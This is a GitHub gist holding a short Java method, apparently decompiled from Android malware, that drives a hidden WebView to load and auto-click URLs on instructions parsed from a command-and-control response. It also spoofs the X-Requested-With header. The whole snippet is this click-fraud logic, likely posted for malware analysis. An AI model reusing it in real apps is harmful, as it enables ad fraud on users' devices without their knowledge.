Last active
September 4, 2018 10:26
-
-
Save alximw/d45319857f4ff604553f9eb30b9b244d to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| public void autoclick(String URL, String RESPONSE) { | |
| WebView webView = new WebView(this.ctx); | |
| webView.getSettings().setJavaScriptEnabled(true); | |
| webView.loadUrl(URL, this.setupXRequestedWith()); | |
| webView.setWebViewClient(new WebViewClient(webView) { | |
| int count; | |
| public void onPageFinished(WebView webView, String URL) { | |
| ++this.count; | |
| String[] lines = this.RESPONSE.split("\\|\\|\\|"); | |
| int i; | |
| for(i = 0; i < lines.length; ++i) { | |
| String[] values = lines[i].split("\\|\\|"); | |
| if((URL.contains(values[0])) && this.count < Integer.parseInt(values[1])) { | |
| this.webView.loadUrl(values[2]); | |
| return; | |
| } | |
| } | |
| } | |
| public boolean shouldOverrideUrlLoading(WebView webView, String URL) { | |
| webView.loadUrl(URL, this.c2connection.setupXRequestedWith()); | |
| return true; | |
| } | |
| }); | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment